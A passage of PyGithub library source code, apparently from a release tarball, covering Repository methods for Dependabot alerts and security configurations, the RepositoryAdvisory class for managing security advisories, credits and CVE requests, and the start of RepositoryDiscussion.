sort: Opt[str] = NotSet, direction: Opt[str] = NotSet, ) -> PaginatedList[DependabotAlert]: """ :calls: `GET /repos/{owner}/{repo}/dependabot/alerts `_ :param state: Optional string :param severity: Optional string :param ecosystem: Optional string :param package: Optional string :param manifest: Optional string :param scope: Optional string :param sort: Optional string :param direction: Optional string :rtype: :class:`PaginatedList` of :class:`github.DependabotAlert.DependabotAlert` """ allowed_states = ["auto_dismissed", "dismissed", "fixed", "open"] allowed_severities = ["low", "medium", "high", "critical"] allowed_ecosystems = ["composer", "go", "maven", "npm", "nuget", "pip", "pub", "rubygems", "rust"] allowed_scopes = ["development", "runtime"] allowed_sorts = ["created", "updated"] allowed_directions = ["asc", "desc"] assert state in allowed_states + [NotSet], f"State can be one of {', '.join(allowed_states)}" assert severity in allowed_severities + [NotSet], f"Severity can be one of {', '.join(allowed_severities)}" assert ecosystem in allowed_ecosystems + [NotSet], f"Ecosystem can be one of {', '.join(allowed_ecosystems)}" assert scope in allowed_scopes + [NotSet], f"Scope can be one of {', '.join(allowed_scopes)}" assert sort in allowed_sorts + [NotSet], f"Sort can be one of {', '.join(allowed_sorts)}" assert direction in allowed_directions + [NotSet], f"Direction can be one of {', '.join(allowed_directions)}" url_parameters = NotSet.remove_unset_items( { "state": state, "severity": severity, "ecosystem": ecosystem, "package": package, "manifest": manifest, "scope": scope, "sort": sort, "direction": direction, } ) return PaginatedList( github.DependabotAlert.DependabotAlert, self._requester, f"{self.url}/dependabot/alerts", url_parameters, ) def get_dependabot_alert(self, number: int) -> DependabotAlert: """ :calls: `GET /repos/{owner}/{repo}/dependabot/alerts/{alert_number} `_ :param number: int :rtype: :class:`github.DependabotAlert.DependabotAlert` """ assert isinstance(number, int), number headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/dependabot/alerts/{number}") return github.DependabotAlert.DependabotAlert(self._requester, headers, data) def update_dependabot_alert( self, number: int, state: str, dismissed_reason: Opt[str] = NotSet, dismissed_comment: Opt[str] = NotSet ) -> DependabotAlert: """ :calls: `PATCH /repos/{owner}/{repo}/dependabot/alerts/{alert_number} `_ :param number: int :param state: string :param dismissed_reason: Optional string :param dismissed_comment: Optional string :rtype: :class:`github.DependabotAlert.DependabotAlert` """ assert isinstance(number, int), number assert isinstance(state, str), state assert state in ["dismissed", "open"], "State can be one of ['dismissed', 'open']" if state == "dismissed": assert is_defined(dismissed_reason) assert dismissed_reason in [ "fix_started", "inaccurate", "no_bandwidth", "not_used", "tolerable_risk", ], "Dismissed reason can be one of ['fix_started', 'inaccurate', 'no_bandwidth', 'not_used', 'tolerable_risk']" assert is_optional(dismissed_comment, str), dismissed_comment headers, data = self._requester.requestJsonAndCheck( "PATCH", f"{self.url}/dependabot/alerts/{number}", input=NotSet.remove_unset_items( {"state": state, "dismissed_reason": dismissed_reason, "dismissed_comment": dismissed_comment} ), ) return github.DependabotAlert.DependabotAlert(self._requester, headers, data) def get_custom_properties(self) -> dict[str, None | str | list]: """ :calls: `GET /repos/{owner}/{repo}/properties/values `_ :rtype: dict[str, None | str | list] """ url = f"{self.url}/properties/values" _, data = self._requester.requestJsonAndCheck("GET", url) custom_properties = {p["property_name"]: p["value"] for p in data} self._custom_properties = self._makeDictAttribute(custom_properties) return custom_properties def update_custom_properties(self, properties: dict[str, None | str | list]) -> None: """ :calls: `PATCH /repos/{owner}/{repo}/properties/values `_ :rtype: None """ assert all(isinstance(v, (type(None), str, list)) for v in properties.values()), properties url = f"{self.url}/properties/values" patch_parameters: dict[str, list] = { "properties": [{"property_name": k, "value": v} for k, v in properties.items()] } self._requester.requestJsonAndCheck("PATCH", url, input=patch_parameters) def attach_security_config(self, id: int) -> None: """ :calls: `POST /orgs/{org}/code-security/configurations/{configuration_id}/attach `_ """ self.organization.attach_security_config_to_repositories( id=id, scope="selected", selected_repository_ids=[self.id] ) def detach_security_config(self) -> None: """ :calls: `DELETE /orgs/{org}/code-security/configurations/detach `_ """ self.organization.detach_security_config_from_repositories(selected_repository_ids=[self.id]) def get_security_config(self) -> RepoCodeSecurityConfig | None: """ :calls: `GET /repos/{owner}/{repo}/code-security-configuration `_ :rtype: RepoCodeSecurityConfig | None """ #### TODO(napier): this is actually a special type not CodeSecurityConfig headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/code-security-configuration") if data is None: return None return github.RepoCodeSecurityConfig.RepoCodeSecurityConfig(self._requester, headers, data) def transfer_ownership(self, new_owner: str, new_name: Opt[str] = NotSet, teams: Opt[list[int]] = NotSet) -> bool: """ :calls: `POST /repos/{owner}/{repo}/transfer `_ :param new_owner: string :param new_name: Optional string :param teams: Optional list of int :rtype: bool """ assert isinstance(new_owner, str), new_owner assert is_optional(new_name, str), new_name assert is_optional_list(teams, int), teams post_parameters = NotSet.remove_unset_items({"new_owner": new_owner, "new_name": new_name, "team_ids": teams}) _, _ = self._requester.requestJsonAndCheck("POST", f"{self.url}/transfer", input=post_parameters) return True def _useAttributes(self, attributes: dict[str, Any]) -> None: if "allow_auto_merge" in attributes: # pragma no branch self._allow_auto_merge = self._makeBoolAttribute(attributes["allow_auto_merge"]) if "allow_forking" in attributes: # pragma no branch self._allow_forking = self._makeBoolAttribute(attributes["allow_forking"]) if "allow_merge_commit" in attributes: # pragma no branch self._allow_merge_commit = self._makeBoolAttribute(attributes["allow_merge_commit"]) if "allow_rebase_merge" in attributes: # pragma no branch self._allow_rebase_merge = self._makeBoolAttribute(attributes["allow_rebase_merge"]) if "allow_squash_merge" in attributes: # pragma no branch self._allow_squash_merge = self._makeBoolAttribute(attributes["allow_squash_merge"]) if "allow_update_branch" in attributes: # pragma no branch self._allow_update_branch = self._makeBoolAttribute(attributes["allow_update_branch"]) if "anonymous_access_enabled" in attributes: # pragma no branch self._anonymous_access_enabled = self._makeBoolAttribute(attributes["anonymous_access_enabled"]) if "archive_url" in attributes: # pragma no branch self._archive_url = self._makeStringAttribute(attributes["archive_url"]) if "archived" in attributes: # pragma no branch self._archived = self._makeBoolAttribute(attributes["archived"]) if "assignees_url" in attributes: # pragma no branch self._assignees_url = self._makeStringAttribute(attributes["assignees_url"]) if "blobs_url" in attributes: # pragma no branch self._blobs_url = self._makeStringAttribute(attributes["blobs_url"]) if "branches_url" in attributes: # pragma no branch self._branches_url = self._makeStringAttribute(attributes["branches_url"]) if "clone_url" in attributes: # pragma no branch self._clone_url = self._makeStringAttribute(attributes["clone_url"]) if "code_of_conduct" in attributes: # pragma no branch self._code_of_conduct = self._makeDictAttribute(attributes["code_of_conduct"]) if "collaborators_url" in attributes: # pragma no branch self._collaborators_url = self._makeStringAttribute(attributes["collaborators_url"]) if "comments_url" in attributes: # pragma no branch self._comments_url = self._makeStringAttribute(attributes["comments_url"]) if "commits_url" in attributes: # pragma no branch self._commits_url = self._makeStringAttribute(attributes["commits_url"]) if "compare_url" in attributes: # pragma no branch self._compare_url = self._makeStringAttribute(attributes["compare_url"]) if "contents_url" in attributes: # pragma no branch self._contents_url = self._makeStringAttribute(attributes["contents_url"]) if "contributors_url" in attributes: # pragma no branch self._contributors_url = self._makeStringAttribute(attributes["contributors_url"]) if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "custom_properties" in attributes: # pragma no branch self._custom_properties = self._makeDictAttribute(attributes["custom_properties"]) if "default_branch" in attributes: # pragma no branch self._default_branch = self._makeStringAttribute(attributes["default_branch"]) if "delete_branch_on_merge" in attributes: # pragma no branch self._delete_branch_on_merge = self._makeBoolAttribute(attributes["delete_branch_on_merge"]) if "deployments_url" in attributes: # pragma no branch self._deployments_url = self._makeStringAttribute(attributes["deployments_url"]) if "description" in attributes: # pragma no branch self._description = self._makeStringAttribute(attributes["description"]) if "disabled" in attributes: # pragma no branch self._disabled = self._makeBoolAttribute(attributes["disabled"]) if "downloads_url" in attributes: # pragma no branch self._downloads_url = self._makeStringAttribute(attributes["downloads_url"]) if "events_url" in attributes: # pragma no branch self._events_url = self._makeStringAttribute(attributes["events_url"]) if "fork" in attributes: # pragma no branch self._fork = self._makeBoolAttribute(attributes["fork"]) if "forks" in attributes: # pragma no branch self._forks = self._makeIntAttribute(attributes["forks"]) if "forks_count" in attributes: # pragma no branch self._forks_count = self._makeIntAttribute(attributes["forks_count"]) if "forks_url" in attributes: # pragma no branch self._forks_url = self._makeStringAttribute(attributes["forks_url"]) if "full_name" in attributes: # pragma no branch self._full_name = self._makeStringAttribute(attributes["full_name"]) if "git_commits_url" in attributes: # pragma no branch self._git_commits_url = self._makeStringAttribute(attributes["git_commits_url"]) if "git_refs_url" in attributes: # pragma no branch self._git_refs_url = self._makeStringAttribute(attributes["git_refs_url"]) if "git_tags_url" in attributes: # pragma no branch self._git_tags_url = self._makeStringAttribute(attributes["git_tags_url"]) if "git_url" in attributes: # pragma no branch self._git_url = self._makeStringAttribute(attributes["git_url"]) if "has_discussions" in attributes: # pragma no branch self._has_discussions = self._makeBoolAttribute(attributes["has_discussions"]) if "has_downloads" in attributes: # pragma no branch self._has_downloads = self._makeBoolAttribute(attributes["has_downloads"]) if "has_issues" in attributes: # pragma no branch self._has_issues = self._makeBoolAttribute(attributes["has_issues"]) if "has_pages" in attributes: # pragma no branch self._has_pages = self._makeBoolAttribute(attributes["has_pages"]) if "has_projects" in attributes: # pragma no branch self._has_projects = self._makeBoolAttribute(attributes["has_projects"]) if "has_wiki" in attributes: # pragma no branch self._has_wiki = self._makeBoolAttribute(attributes["has_wiki"]) if "homepage" in attributes: # pragma no branch self._homepage = self._makeStringAttribute(attributes["homepage"]) if "hooks_url" in attributes: # pragma no branch self._hooks_url = self._makeStringAttribute(attributes["hooks_url"]) if "html_url" in attributes: # pragma no branch self._html_url = self._makeStringAttribute(attributes["html_url"]) if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "is_template" in attributes: # pragma no branch self._is_template = self._makeBoolAttribute(attributes["is_template"]) if "issue_comment_url" in attributes: # pragma no branch self._issue_comment_url = self._makeStringAttribute(attributes["issue_comment_url"]) if "issue_events_url" in attributes: # pragma no branch self._issue_events_url = self._makeStringAttribute(attributes["issue_events_url"]) if "issues_url" in attributes: # pragma no branch self._issues_url = self._makeStringAttribute(attributes["issues_url"]) if "keys_url" in attributes: # pragma no branch self._keys_url = self._makeStringAttribute(attributes["keys_url"]) if "labels_url" in attributes: # pragma no branch self._labels_url = self._makeStringAttribute(attributes["labels_url"]) if "language" in attributes: # pragma no branch self._language = self._makeStringAttribute(attributes["language"]) if "languages_url" in attributes: # pragma no branch self._languages_url = self._makeStringAttribute(attributes["languages_url"]) if "license" in attributes: # pragma no branch self._license = self._makeClassAttribute(github.License.License, attributes["license"]) if "master_branch" in attributes: # pragma no branch self._master_branch = self._makeStringAttribute(attributes["master_branch"]) if "merge_commit_message" in attributes: # pragma no branch self._merge_commit_message = self._makeStringAttribute(attributes["merge_commit_message"]) if "merge_commit_title" in attributes: # pragma no branch self._merge_commit_title = self._makeStringAttribute(attributes["merge_commit_title"]) if "merges_url" in attributes: # pragma no branch self._merges_url = self._makeStringAttribute(attributes["merges_url"]) if "milestones_url" in attributes: # pragma no branch self._milestones_url = self._makeStringAttribute(attributes["milestones_url"]) if "mirror_url" in attributes: # pragma no branch self._mirror_url = self._makeStringAttribute(attributes["mirror_url"]) if "name" in attributes: # pragma no branch self._name = self._makeStringAttribute(attributes["name"]) if "network_count" in attributes: # pragma no branch self._network_count = self._makeIntAttribute(attributes["network_count"]) if "node_id" in attributes: # pragma no branch self._node_id = self._makeStringAttribute(attributes["node_id"]) if "notifications_url" in attributes: # pragma no branch self._notifications_url = self._makeStringAttribute(attributes["notifications_url"]) if "open_issues" in attributes: # pragma no branch self._open_issues = self._makeIntAttribute(attributes["open_issues"]) if "open_issues_count" in attributes: # pragma no branch self._open_issues_count = self._makeIntAttribute(attributes["open_issues_count"]) if "organization" in attributes: # pragma no branch self._organization = self._makeClassAttribute(github.Organization.Organization, attributes["organization"]) if "owner" in attributes: # pragma no branch self._owner = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["owner"]) if "parent" in attributes: # pragma no branch self._parent = self._makeClassAttribute(Repository, attributes["parent"]) if "permissions" in attributes: # pragma no branch self._permissions = self._makeClassAttribute(github.Permissions.Permissions, attributes["permissions"]) if "private" in attributes: # pragma no branch self._private = self._makeBoolAttribute(attributes["private"]) if "pulls_url" in attributes: # pragma no branch self._pulls_url = self._makeStringAttribute(attributes["pulls_url"]) if "pushed_at" in attributes: # pragma no branch self._pushed_at = self._makeDatetimeAttribute(attributes["pushed_at"]) if "releases_url" in attributes: # pragma no branch self._releases_url = self._makeStringAttribute(attributes["releases_url"]) if "role_name" in attributes: # pragma no branch self._role_name = self._makeStringAttribute(attributes["role_name"]) if "security_and_analysis" in attributes: # pragma no branch self._security_and_analysis = self._makeClassAttribute( github.SecurityAndAnalysis.SecurityAndAnalysis, attributes["security_and_analysis"] ) if "size" in attributes: # pragma no branch self._size = self._makeIntAttribute(attributes["size"]) if "source" in attributes: # pragma no branch self._source = self._makeClassAttribute(Repository, attributes["source"]) if "squash_merge_commit_message" in attributes: # pragma no branch self._squash_merge_commit_message = self._makeStringAttribute(attributes["squash_merge_commit_message"]) if "squash_merge_commit_title" in attributes: # pragma no branch self._squash_merge_commit_title = self._makeStringAttribute(attributes["squash_merge_commit_title"]) if "ssh_url" in attributes: # pragma no branch self._ssh_url = self._makeStringAttribute(attributes["ssh_url"]) if "stargazers_count" in attributes: # pragma no branch self._stargazers_count = self._makeIntAttribute(attributes["stargazers_count"]) if "stargazers_url" in attributes: # pragma no branch self._stargazers_url = self._makeStringAttribute(attributes["stargazers_url"]) if "starred_at" in attributes: # pragma no branch self._starred_at = self._makeStringAttribute(attributes["starred_at"]) if "statuses_url" in attributes: # pragma no branch self._statuses_url = self._makeStringAttribute(attributes["statuses_url"]) if "subscribers_count" in attributes: # pragma no branch self._subscribers_count = self._makeIntAttribute(attributes["subscribers_count"]) if "subscribers_url" in attributes: # pragma no branch self._subscribers_url = self._makeStringAttribute(attributes["subscribers_url"]) if "subscription_url" in attributes: # pragma no branch self._subscription_url = self._makeStringAttribute(attributes["subscription_url"]) if "svn_url" in attributes: # pragma no branch self._svn_url = self._makeStringAttribute(attributes["svn_url"]) if "tags_url" in attributes: # pragma no branch self._tags_url = self._makeStringAttribute(attributes["tags_url"]) if "teams_url" in attributes: # pragma no branch self._teams_url = self._makeStringAttribute(attributes["teams_url"]) if "temp_clone_token" in attributes: # pragma no branch self._temp_clone_token = self._makeStringAttribute(attributes["temp_clone_token"]) if "template_repository" in attributes: # pragma no branch self._template_repository = self._makeClassAttribute( github.Repository.Repository, attributes["template_repository"] ) if "topics" in attributes: # pragma no branch self._topics = self._makeListOfStringsAttribute(attributes["topics"]) if "trees_url" in attributes: # pragma no branch self._trees_url = self._makeStringAttribute(attributes["trees_url"]) if "updated_at" in attributes: # pragma no branch self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) if "use_squash_pr_title_as_default" in attributes: # pragma no branch self._use_squash_pr_title_as_default = self._makeBoolAttribute(attributes["use_squash_pr_title_as_default"]) if "visibility" in attributes: # pragma no branch self._visibility = self._makeStringAttribute(attributes["visibility"]) if "watchers" in attributes: # pragma no branch self._watchers = self._makeIntAttribute(attributes["watchers"]) if "watchers_count" in attributes: # pragma no branch self._watchers_count = self._makeIntAttribute(attributes["watchers_count"]) if "web_commit_signoff_required" in attributes: # pragma no branch self._web_commit_signoff_required = self._makeBoolAttribute(attributes["web_commit_signoff_required"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/RepositoryAdvisory.py0000644000175100001660000004360614756101563020533 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Jonathan Leitschuh # # Copyright 2023 Joseph Henrich # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2024 Thomas Cooper # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from typing import TYPE_CHECKING, Any, Iterable import github.AdvisoryCredit import github.AdvisoryCreditDetailed import github.AdvisoryVulnerability import github.NamedUser import github.Repository import github.Team from github.AdvisoryBase import AdvisoryBase from github.GithubObject import Attribute, NotSet, Opt if TYPE_CHECKING: from github.AdvisoryCredit import AdvisoryCredit, Credit from github.AdvisoryCreditDetailed import AdvisoryCreditDetailed from github.AdvisoryVulnerability import AdvisoryVulnerability, AdvisoryVulnerabilityInput from github.NamedUser import NamedUser from github.Repository import Repository from github.Team import Team class RepositoryAdvisory(AdvisoryBase): """ This class represents a RepositoryAdvisory. The reference can be found here https://docs.github.com/en/rest/security-advisories/repository-advisories The OpenAPI schema can be found at - /components/schemas/repository-advisory """ def _initAttributes(self) -> None: super()._initAttributes() self._author: Attribute[NamedUser] = NotSet self._closed_at: Attribute[datetime] = NotSet self._collaborating_teams: Attribute[list[Team]] = NotSet self._collaborating_users: Attribute[list[NamedUser]] = NotSet self._created_at: Attribute[datetime] = NotSet self._credits: Attribute[list[AdvisoryCredit]] = NotSet self._credits_detailed: Attribute[list[AdvisoryCreditDetailed]] = NotSet self._cwe_ids: Attribute[list[str]] = NotSet self._private_fork: Attribute[Repository] = NotSet self._publisher: Attribute[NamedUser] = NotSet self._state: Attribute[str] = NotSet self._submission: Attribute[dict[str, Any]] = NotSet self._vulnerabilities: Attribute[list[AdvisoryVulnerability]] = NotSet super()._initAttributes() @property def author(self) -> NamedUser: return self._author.value @property def closed_at(self) -> datetime: return self._closed_at.value @property def collaborating_teams(self) -> list[Team]: return self._collaborating_teams.value @property def collaborating_users(self) -> list[NamedUser]: return self._collaborating_users.value @property def created_at(self) -> datetime: return self._created_at.value @property def credits( self, ) -> list[AdvisoryCredit]: return self._credits.value @property def credits_detailed( self, ) -> list[AdvisoryCreditDetailed]: return self._credits_detailed.value @property def cwe_ids(self) -> list[str]: return self._cwe_ids.value @property def private_fork(self) -> Repository: return self._private_fork.value @property def publisher(self) -> NamedUser: return self._publisher.value @property def state(self) -> str: return self._state.value @property def submission(self) -> dict[str, Any]: return self._submission.value @property def vulnerabilities(self) -> list[AdvisoryVulnerability]: return self._vulnerabilities.value def add_vulnerability( self, ecosystem: str, package_name: str | None = None, vulnerable_version_range: str | None = None, patched_versions: str | None = None, vulnerable_functions: list[str] | None = None, ) -> None: """ :calls: `PATCH /repos/{owner}/{repo}/security-advisories/:advisory_id `\ """ return self.add_vulnerabilities( [ { "package": { "ecosystem": ecosystem, "name": package_name, }, "vulnerable_version_range": vulnerable_version_range, "patched_versions": patched_versions, "vulnerable_functions": vulnerable_functions, } ] ) def add_vulnerabilities(self, vulnerabilities: Iterable[AdvisoryVulnerabilityInput]) -> None: """ :calls: `PATCH /repos/{owner}/{repo}/security-advisories/:advisory_id ` """ assert isinstance(vulnerabilities, Iterable), vulnerabilities for vulnerability in vulnerabilities: github.AdvisoryVulnerability.AdvisoryVulnerability._validate_vulnerability(vulnerability) post_parameters = { "vulnerabilities": [ github.AdvisoryVulnerability.AdvisoryVulnerability._to_github_dict(vulnerability) for vulnerability in (self.vulnerabilities + list(vulnerabilities)) ] } headers, data = self._requester.requestJsonAndCheck( "PATCH", self.url, input=post_parameters, ) self._useAttributes(data) def offer_credit( self, login_or_user: str | github.NamedUser.NamedUser, credit_type: str, ) -> None: """ Offers credit to a user for a vulnerability in a repository. Unless you are giving credit to yourself, the user having credit offered will need to explicitly accept the credit. :calls: `PATCH /repos/{owner}/{repo}/security-advisories/:advisory_id ` """ self.offer_credits([{"login": login_or_user, "type": credit_type}]) def offer_credits( self, credited: Iterable[Credit], ) -> None: """ Offers credit to a list of users for a vulnerability in a repository. Unless you are giving credit to yourself, the user having credit offered will need to explicitly accept the credit. :calls: `PATCH /repos/{owner}/{repo}/security-advisories/:advisory_id ` :param credited: iterable of dict with keys "login" and "type" """ assert isinstance(credited, Iterable), credited for credit in credited: github.AdvisoryCredit.AdvisoryCredit._validate_credit(credit) patch_parameters = { "credits": [ github.AdvisoryCredit.AdvisoryCredit._to_github_dict(credit) for credit in (self.credits + list(credited)) ] } headers, data = self._requester.requestJsonAndCheck( "PATCH", self.url, input=patch_parameters, ) self._useAttributes(data) def revoke_credit(self, login_or_user: str | github.NamedUser.NamedUser) -> None: """ :calls: `PATCH /repos/{owner}/{repo}/security-advisories/:advisory_id `_ """ assert isinstance(login_or_user, (str, github.NamedUser.NamedUser)), login_or_user if isinstance(login_or_user, github.NamedUser.NamedUser): login_or_user = login_or_user.login patch_parameters = { "credits": [ dict(login=credit.login, type=credit.type) for credit in self.credits if credit.login != login_or_user ] } headers, data = self._requester.requestJsonAndCheck( "PATCH", self.url, input=patch_parameters, ) self._useAttributes(data) def clear_credits(self) -> None: """ :calls: `PATCH /repos/{owner}/{repo}/security-advisories/:advisory_id `_ """ patch_parameters: dict[str, Any] = {"credits": []} headers, data = self._requester.requestJsonAndCheck( "PATCH", self.url, input=patch_parameters, ) self._useAttributes(data) def edit( self, summary: Opt[str] = NotSet, description: Opt[str] = NotSet, severity_or_cvss_vector_string: Opt[str] = NotSet, cve_id: Opt[str] = NotSet, vulnerabilities: Opt[Iterable[AdvisoryVulnerabilityInput]] = NotSet, cwe_ids: Opt[Iterable[str]] = NotSet, credits: Opt[Iterable[Credit]] = NotSet, state: Opt[str] = NotSet, ) -> RepositoryAdvisory: """ :calls: `PATCH /repos/{owner}/{repo}/security-advisories/:advisory_id `_ """ assert summary is NotSet or isinstance(summary, str), summary assert description is NotSet or isinstance(description, str), description assert severity_or_cvss_vector_string is NotSet or isinstance( severity_or_cvss_vector_string, str ), severity_or_cvss_vector_string assert cve_id is NotSet or isinstance(cve_id, str), cve_id assert vulnerabilities is NotSet or isinstance(vulnerabilities, Iterable), vulnerabilities if isinstance(vulnerabilities, Iterable): for vulnerability in vulnerabilities: github.AdvisoryVulnerability.AdvisoryVulnerability._validate_vulnerability(vulnerability) assert cwe_ids is NotSet or ( isinstance(cwe_ids, Iterable) and all(isinstance(element, str) for element in cwe_ids) ), cwe_ids if isinstance(credits, Iterable): for credit in credits: github.AdvisoryCredit.AdvisoryCredit._validate_credit(credit) assert state is NotSet or isinstance(state, str), state patch_parameters: dict[str, Any] = {} if summary is not NotSet: patch_parameters["summary"] = summary if description is not NotSet: patch_parameters["description"] = description if isinstance(severity_or_cvss_vector_string, str): if severity_or_cvss_vector_string.startswith("CVSS:"): patch_parameters["cvss_vector_string"] = severity_or_cvss_vector_string else: patch_parameters["severity"] = severity_or_cvss_vector_string if cve_id is not NotSet: patch_parameters["cve_id"] = cve_id if isinstance(vulnerabilities, Iterable): patch_parameters["vulnerabilities"] = [ github.AdvisoryVulnerability.AdvisoryVulnerability._to_github_dict(vulnerability) for vulnerability in vulnerabilities ] if isinstance(cwe_ids, Iterable): patch_parameters["cwe_ids"] = list(cwe_ids) if isinstance(credits, Iterable): patch_parameters["credits"] = [ github.AdvisoryCredit.AdvisoryCredit._to_github_dict(credit) for credit in credits ] if state is not NotSet: patch_parameters["state"] = state headers, data = self._requester.requestJsonAndCheck( "PATCH", self.url, input=patch_parameters, ) self._useAttributes(data) return self def accept_report(self) -> None: """ Accepts the advisory reported from an external reporter via private vulnerability reporting. :calls: `PATCH /repos/{owner}/{repo}/security-advisories/:advisory_id ` """ patch_parameters = {"state": "draft"} headers, data = self._requester.requestJsonAndCheck( "PATCH", self.url, input=patch_parameters, ) self._useAttributes(data) def publish(self) -> None: """ Publishes the advisory. :calls: `PATCH /repos/{owner}/{repo}/security-advisories/:advisory_id ` """ patch_parameters = {"state": "published"} headers, data = self._requester.requestJsonAndCheck( "PATCH", self.url, input=patch_parameters, ) self._useAttributes(data) def request_cve(self) -> None: """ Requests a CVE for the advisory. :calls: `POST /repos/{owner}/{repo}/security-advisories/{ghsa_id}/cve `_ """ self._requester.requestJsonAndCheck( "POST", self.url + "/cve", ) def close(self) -> None: """ Closes the advisory. :calls: `PATCH /repos/{owner}/{repo}/security-advisories/:advisory_id ` """ patch_parameters = {"state": "closed"} headers, data = self._requester.requestJsonAndCheck( "PATCH", self.url, input=patch_parameters, ) self._useAttributes(data) def _useAttributes(self, attributes: dict[str, Any]) -> None: if "author" in attributes: # pragma no branch self._author = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["author"]) if "closed_at" in attributes: # pragma no branch assert attributes["closed_at"] is None or isinstance(attributes["closed_at"], str), attributes["closed_at"] self._closed_at = self._makeDatetimeAttribute(attributes["closed_at"]) if "collaborating_teams" in attributes: # pragma no branch self._collaborating_teams = self._makeListOfClassesAttribute( github.Team.Team, attributes["collaborating_teams"] ) if "collaborating_users" in attributes: # pragma no branch self._collaborating_users = self._makeListOfClassesAttribute( github.NamedUser.NamedUser, attributes["collaborating_users"] ) if "created_at" in attributes: # pragma no branch assert attributes["created_at"] is None or isinstance(attributes["created_at"], str), attributes[ "created_at" ] self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "credits" in attributes: # pragma no branch self._credits = self._makeListOfClassesAttribute( github.AdvisoryCredit.AdvisoryCredit, attributes["credits"], ) if "credits_detailed" in attributes: # pragma no branch self._credits_detailed = self._makeListOfClassesAttribute( github.AdvisoryCreditDetailed.AdvisoryCreditDetailed, attributes["credits_detailed"], ) if "cwe_ids" in attributes: # pragma no branch self._cwe_ids = self._makeListOfStringsAttribute(attributes["cwe_ids"]) if "private_fork" in attributes: # pragma no branch self._private_fork = self._makeClassAttribute(github.Repository.Repository, attributes["private_fork"]) if "publisher" in attributes: # pragma no branch self._publisher = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["publisher"]) if "state" in attributes: # pragma no branch self._state = self._makeStringAttribute(attributes["state"]) if "submission" in attributes: # pragma no branch self._submission = self._makeDictAttribute(attributes["submission"]) if "vulnerabilities" in attributes: self._vulnerabilities = self._makeListOfClassesAttribute( github.AdvisoryVulnerability.AdvisoryVulnerability, attributes["vulnerabilities"], ) super()._useAttributes(attributes) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/RepositoryDiscussion.py0000644000175100001660000002171314756101563021051 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2024 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from typing import TYPE_CHECKING, Any import github import github.Label import github.NamedUser import github.Reaction import github.Repository import github.RepositoryDiscussionCategory import github.RepositoryDiscussionComment from github.DiscussionBase import DiscussionBase from github.GithubObject import ( Attribute, GraphQlObject, NotSet, as_rest_api_attributes, as_rest_api_attributes_list, is_undefined, ) from github.PaginatedList import PaginatedList if TYPE_CHECKING: from github.Label import Label from github.NamedUser import NamedUser from github.Reaction import Reaction from github.Repository import Repository from github.RepositoryDiscussionCategory import RepositoryDiscussionCategory from github.RepositoryDiscussionComment import RepositoryDiscussionComment class RepositoryDiscussion(GraphQlObject, DiscussionBase): """ This class represents GraphQL Discussion. The reference can be found here https://docs.github.com/en/graphql/reference/objects#discussion """ def _initAttributes(self) -> None: super()._initAttributes() self._answer: Attribute[RepositoryDiscussionComment | None] = NotSet self._body_text: Attribute[str] = NotSet self._category: Attribute[RepositoryDiscussionCategory] = NotSet self._comments_page = None self._database_id: Attribute[int] = NotSet self._editor: Attribute[NamedUser] = NotSet self._id: Attribute[str] = NotSet self._labels_page = None self._reactions_page = None self._repository: Attribute[Repository] = NotSet @property def answer(self) -> RepositoryDiscussionComment | None: return self._answer.value @property def body_text(self) -> str: return self._body_text.value @property def category(self) -> RepositoryDiscussionCategory: return self._category.value @property def database_id(self) -> int: return self._database_id.value @property def editor(self) -> NamedUser: return self._editor.value @property def id(self) -> str: return self._id.value @property def node_id(self) -> str: return self.id @property def repository(self) -> Repository: return self._repository.value def get_comments(self, comment_graphql_schema: str) -> PaginatedList[RepositoryDiscussionComment]: if self._comments_page is not None: return PaginatedList( github.RepositoryDiscussionComment.RepositoryDiscussionComment, self._requester, firstData=self._comments_page, firstHeaders={}, ) if is_undefined(self._id): raise RuntimeError("Retrieving discussion comments requires the discussion field 'id'") if not comment_graphql_schema.startswith("\n"): comment_graphql_schema = f" {comment_graphql_schema} " query = ( """ query Q($discussionId: ID!, $first: Int, $last: Int, $before: String, $after: String) { node(id: $discussionId) { ... on Discussion { comments(first: $first, last: $last, before: $before, after: $after) { totalCount pageInfo { startCursor endCursor hasNextPage hasPreviousPage } nodes {""" + comment_graphql_schema + """} } } } }""" ) variables = {"discussionId": self.node_id} return PaginatedList( 